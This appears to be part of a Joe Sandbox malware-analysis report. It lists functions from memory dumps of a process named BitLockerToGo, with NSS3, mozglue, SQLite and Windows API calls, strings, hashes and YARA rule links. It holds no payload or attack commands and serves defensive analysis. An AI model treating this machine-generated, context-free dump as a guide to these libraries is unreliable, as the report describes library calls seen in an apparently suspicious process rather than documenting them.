Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 533b854510614b815c8c31c7afcd793e703d070563f37560cebce20b4612e8cc
Instruction ID: 52124bf1e097053479516b2cf9bc5fda717b924ca750d1c8f71601a2fbeaae46
Opcode Fuzzy Hash: 533b854510614b815c8c31c7afcd793e703d070563f37560cebce20b4612e8cc
Instruction Fuzzy Hash: 3201D2B5A00214BBDF11AFA8DC65CAB3F3CEF46368F088025FD0987711D635E99187A2

Function 6C839420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C82AB89: EnterCriticalSection.KERNEL32(6C87E370,?,?,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284), ref: 6C82AB94
Part of subcall function 6C82AB89: LeaveCriticalSection.KERNEL32(6C87E370,?,6C7F34DE,6C87F6CC,?,?,?,?,?,?,?,6C7F3284,?,?,6C8156F6), ref: 6C82ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C804A68), ref: 6C83945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C839470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C839482
__Init_thread_footer.LIBCMT ref: 6C83949F

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C83946B
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C839459
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C83947D

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: 98a78bd905fd798e0151342bc583586cced74e7e9dff3cd46fca7a08010ffbd8
Instruction ID: 1a2b98cb1328874e2cf5112d36d6c87a57bdf5c01f478ad6c625bfc2d2d37d48
Opcode Fuzzy Hash: 98a78bd905fd798e0151342bc583586cced74e7e9dff3cd46fca7a08010ffbd8
Instruction Fuzzy Hash: D601B570A001218BD7309B9DDB1DA8F32B5AB0636CF041D36D90EC7B51FA25D4A4CAFA

Function 6C9E4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C9E4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9E4DE0

Strings

%s at line %d of [%.10s], xrefs: 6C9E4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9E4DCB
invalid, xrefs: 6C9E4DB8
misuse, xrefs: 6C9E4DD5
API call with %s database connection pointer, xrefs: 6C9E4DBD

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 475650e4ddd1eab8da8279cf870205f30ff1cdceac272b9be6f78a0a36811b57
Instruction ID: c55416ed1610a9e98a11b27a736fb8ce22e803ff49aca6a9a5afad26c9cedbfa
Opcode Fuzzy Hash: 475650e4ddd1eab8da8279cf870205f30ff1cdceac272b9be6f78a0a36811b57
Instruction Fuzzy Hash: 32F0B421F146647FDB024195CD11F8637AD6F29319F4649E0EE046BA52E215F8D096A1

Function 6C9E4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C9E4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C9E4E4D

Strings

%s at line %d of [%.10s], xrefs: 6C9E4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C9E4E38
invalid, xrefs: 6C9E4E25
misuse, xrefs: 6C9E4E42
API call with %s database connection pointer, xrefs: 6C9E4E2A

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 5f8b3ba05f3992f1a16bf23111ed031a54026f3526c36267581c5875f9241800
Instruction ID: f6f6968c54411eeb386336f7e3e00b04cfccb0965802fe822d1f6b297755ee4e
Opcode Fuzzy Hash: 5f8b3ba05f3992f1a16bf23111ed031a54026f3526c36267581c5875f9241800
Instruction Fuzzy Hash: 6CF0E211F449287FEB1241A59C10F82379A6F29329F49C9B5EA0867F92D205D8A046A2

Function 6C950C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C951444,?,00000001,?,00000000,00000000,?,?,6C951444,?,?,00000000,?,?), ref: 6C950CB3

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?,?,6C951444,?), ref: 6C950DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?,?,6C951444,?), ref: 6C950DEC

Part of subcall function 6C970F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C912AF5,?,?,?,?,?,6C910A1B,00000000), ref: 6C970F1A
Part of subcall function 6C970F10: malloc.MOZGLUE(00000001), ref: 6C970F30
Part of subcall function 6C970F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C970F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?), ref: 6C950DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C951444,?,00000001,?,00000000), ref: 6C950E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?), ref: 6C950E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?,?,6C951444,?,?,00000000), ref: 6C950E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C951444,?,00000001,?,00000000,00000000,?), ref: 6C950E79

Part of subcall function 6C961560: TlsGetValue.KERNEL32(00000000,?,6C930844,?), ref: 6C96157A
Part of subcall function 6C961560: EnterCriticalSection.KERNEL32(?,?,?,6C930844,?), ref: 6C96158F
Part of subcall function 6C961560: PR_Unlock.NSS3(?,?,?,?,6C930844,?), ref: 6C9615B2

Part of subcall function 6C92B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C931397,00000000,?,6C92CF93,5B5F5EC0,00000000,?,6C931397,?), ref: 6C92B1CB
Part of subcall function 6C92B1A0: free.MOZGLUE(5B5F5EC0,?,6C92CF93,5B5F5EC0,00000000,?,6C931397,?), ref: 6C92B1D2

Part of subcall function 6C9289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C9288AE,-00000008), ref: 6C928A04
Part of subcall function 6C9289E0: EnterCriticalSection.KERNEL32(?), ref: 6C928A15
Part of subcall function 6C9289E0: memset.VCRUNTIME140(6C9288AE,00000000,00000132), ref: 6C928A27
Part of subcall function 6C9289E0: PR_Unlock.NSS3(?), ref: 6C928A35

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: ced1eb6228c19fc65b7f57754a1cf9e45fcb0e62ed118e2b7732649c44a3033e
Instruction ID: cf2f777c39854f09cefe5958d308de5723f59690eff178c086f75dd6d10b353b
Opcode Fuzzy Hash: ced1eb6228c19fc65b7f57754a1cf9e45fcb0e62ed118e2b7732649c44a3033e
Instruction Fuzzy Hash: 5751BAB6E002115FEB00DF64EC41ABB37ACEF6521CF555024EC0997B12F735ED2986A2

Function 6C906E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C906ED8
sqlite3_value_text.NSS3(?,?), ref: 6C906EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C906FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C906FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C906FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C907010
sqlite3_value_blob.NSS3(?,?), ref: 6C90701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C907052

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: 537b83b6209f8a67fa338b27772b2b1de8fd8f340662f8e2a94540c7ea8be937
Instruction ID: 3a1178c63b3fddcdccb07a8c3e2970171bd3ef5dbc864b3be9388c32b234f010
Opcode Fuzzy Hash: 537b83b6209f8a67fa338b27772b2b1de8fd8f340662f8e2a94540c7ea8be937
Instruction Fuzzy Hash: B761C0B1F042068BDB00CFA8C9007EEB7B6AF55318F28416CD914AB751E736DD65CBA0

Function 6C978F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C977313), ref: 6C978FBB

Part of subcall function 6C9707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C918298,?,?,?,6C90FCE5,?), ref: 6C9707BF
Part of subcall function 6C9707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C9707E6
Part of subcall function 6C9707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C97081B
Part of subcall function 6C9707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C970825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C977313), ref: 6C979012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C977313), ref: 6C97903C
SECITEM_CompareItem_Util.NSS3(?,?,?,?,?,?,FFFFE005,?,6C977313), ref: 6C97909E
PORT_ArenaGrow_Util.NSS3(?,?,?,00000001,?,?,?,?,?,?,FFFFE005,?,6C977313), ref: 6C9790DB
PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,FFFFE005,?,6C977313), ref: 6C9790F1

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

PR_SetError.NSS3(FFFFE005,00000000,?,?,?,FFFFE005,?,6C977313), ref: 6C97906B

Part of subcall function 6C9BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C9BC2BF

PR_SetError.NSS3(FFFFE005,00000000,?,FFFFE005,?,6C977313), ref: 6C979128

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Util$Error$ArenaFindValue$HashLookupTable$Alloc_AllocateCompareConstCriticalEnterGrow_Item_SectionUnlock
String ID:
API String ID: 3590961175-0
Opcode ID: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction ID: c1139a484d927d77cae3462cde39b448fb7e106d361ebb172e7d8b44d26fc6ec
Opcode Fuzzy Hash: 2fc2936615f096d3f3ee8ad3ca23cfff263c484281e358dca533e153235934d8
Instruction Fuzzy Hash: 4F517071B02201CBEB209F6ADC48B26B3F9EF54318F164069D915D7B61EB32E914CBB1

Function 6C934E50 Relevance: 12.1, APIs: 8, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C934E90
EnterCriticalSection.KERNEL32 ref: 6C934EA9
TlsGetValue.KERNEL32 ref: 6C934EC6
EnterCriticalSection.KERNEL32 ref: 6C934EDF
PL_HashTableLookup.NSS3 ref: 6C934EF8
PR_Unlock.NSS3 ref: 6C934F05
PR_Now.NSS3 ref: 6C934F13
PR_Unlock.NSS3 ref: 6C934F3A

Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007AD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007CD
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C89204A), ref: 6C9007D6
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C89204A), ref: 6C9007E4
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,6C89204A), ref: 6C900864
Part of subcall function 6C9007A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C900880
Part of subcall function 6C9007A0: TlsSetValue.KERNEL32(00000000,?,?,6C89204A), ref: 6C9008CB
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008D7
Part of subcall function 6C9007A0: TlsGetValue.KERNEL32(?,?,6C89204A), ref: 6C9008FB

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID:
API String ID: 326028414-0
Opcode ID: f6cb53fac3de8fb5a7cde773dc812bd242c261d69fdcee17dfcbcd3fb31551af
Instruction ID: 8e255cc0a956f4bf2f28bf9b1dc248ddef1d57b0fe94e6e10d9f2c67c3557016
Opcode Fuzzy Hash: f6cb53fac3de8fb5a7cde773dc812bd242c261d69fdcee17dfcbcd3fb31551af
Instruction Fuzzy Hash: 73413AB4A007159FCB04EF69C4848AABBF4FF59308B06C569EC899B710EB30E855CF91

Function 6C902D20 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C902D69

Strings

winUnmapfile2, xrefs: 6C902F7F
winSeekFile, xrefs: 6C902E9C
winUnmapfile1, xrefs: 6C902F55
winTruncate1, xrefs: 6C902EBE
winTruncate2, xrefs: 6C902EF8

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: __allrem
String ID: winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2
API String ID: 2933888876-3221253098
Opcode ID: 769ee00e2dd405ace950cdc47976f6cd1b4ab156232224aadb57eb1f27a00c63
Instruction ID: 8a686edc4fc1c26b5f8c948f298fa44f3d3ab4150633bd3522eac4c804b0e3bb
Opcode Fuzzy Hash: 769ee00e2dd405ace950cdc47976f6cd1b4ab156232224aadb57eb1f27a00c63
Instruction Fuzzy Hash: 92617B75B407059FDB08CF68DC88A6A7BB5FF59354F10822CEA169B790DB31E806CB90

Function 6C95AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C95AB3E,?,?,?), ref: 6C95AC35

Part of subcall function 6C93CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C93CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C95AB3E,?,?,?), ref: 6C95AC55

Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C9710F3
Part of subcall function 6C9710C0: EnterCriticalSection.KERNEL32(?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97110C
Part of subcall function 6C9710C0: PL_ArenaAllocate.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971141
Part of subcall function 6C9710C0: PR_Unlock.NSS3(?,?,?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C971182
Part of subcall function 6C9710C0: TlsGetValue.KERNEL32(?,6C918802,00000000,00000008,?,6C90EF74,00000000), ref: 6C97119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C95AB3E,?,?), ref: 6C95AC70

Part of subcall function 6C93E300: TlsGetValue.KERNEL32 ref: 6C93E33C
Part of subcall function 6C93E300: EnterCriticalSection.KERNEL32(?), ref: 6C93E350
Part of subcall function 6C93E300: PR_Unlock.NSS3(?), ref: 6C93E5BC
Part of subcall function 6C93E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C93E5CA
Part of subcall function 6C93E300: TlsGetValue.KERNEL32 ref: 6C93E5F2
Part of subcall function 6C93E300: EnterCriticalSection.KERNEL32(?), ref: 6C93E606
Part of subcall function 6C93E300: PORT_Alloc_Util.NSS3(?), ref: 6C93E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C95AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C95AB3E), ref: 6C95ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C95AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C95AD2B

Part of subcall function 6C93F360: TlsGetValue.KERNEL32(00000000,?,6C95A904,?), ref: 6C93F38B
Part of subcall function 6C93F360: EnterCriticalSection.KERNEL32(?,?,?,6C95A904,?), ref: 6C93F3A0
Part of subcall function 6C93F360: PR_Unlock.NSS3(?,?,?,?,6C95A904,?), ref: 6C93F3D3

Memory Dump Source

Source File: 00000001.00000002.2084496641.000000006C891000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C890000, based on PE: true

Associated: 00000001.00000002.2084477777.000000006C890000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084670849.000000006CA6E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084686880.000000006CA6F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084702944.000000006CA70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000001.00000002.2084718355.000000006CA75000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c890000_BitLockerToGo.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: ac4671c46ef319fea7bb9953b248456edcdc1e9a5c48c0b4a08ef66bf6987436
Instruction ID: e1f08670bf30c52dadd48cef5a3abcc00a54ce30a679c56a836183a6038f5b54
Opcode Fuzzy Hash: ac4671c46ef319fea7bb9953b248456edcdc1e9a5c48c0b4a08ef66bf6987436
Instruction Fuzzy Hash: 4F3149B1E006165FEB00CF25CC409BF777AAF94318B588128E8199B740EF31DC2587B5

Function 6C841D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C841D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C841BE3,?,?,6C841D96,00000000), ref: 6C841D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C841BE3,?,?,6C841D96,00000000), ref: 6C841D4C
GetCurrentThreadId.KERNEL32 ref: 6C841DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C841DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C841DDA

Part of subcall function 6C841EF0: GetCurrentThreadId.KERNEL32 ref: 6C841F03
Part of subcall function 6C841EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C841DF2,00000000,00000000), ref: 6C841F0C
Part of subcall function 6C841EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C841F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C841DF4

Part of subcall function 6C80CA10: malloc.MOZGLUE(?), ref: 6C80CA26

Memory Dump Source

Source File: 00000001.00000002.2084369153.000000006C7F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7F0000, based on PE: true

Associated: 00000001.00000002.2084351279.000000006C7F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084443046.000000006C87E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2084461949.000000006C882000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c7f0000_BitLockerToGo.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 570f1b1c8fe89c62f029484c9424a38ce1149eaf6b9a7124051373aee850d5bf
Instruction ID: 199e68a50ee0e7201f9fcb62d9f7a09b75a5872c711eaba06fd2776614d91ec8
Opcode Fuzzy Hash: 570f1b1c8fe89c62f029484c9424a38ce1149eaf6b9a7124051373aee850d5bf
Instruction Fuzzy Hash: 46415CB52017049FCB20DF29C588B6ABBF5FF49318F10882DE95A87B41DB71E854CBA1

Function 6C938C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C938C7C

Part of subcall function 6C9D9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CA20A27), ref: 6C9D9DC6
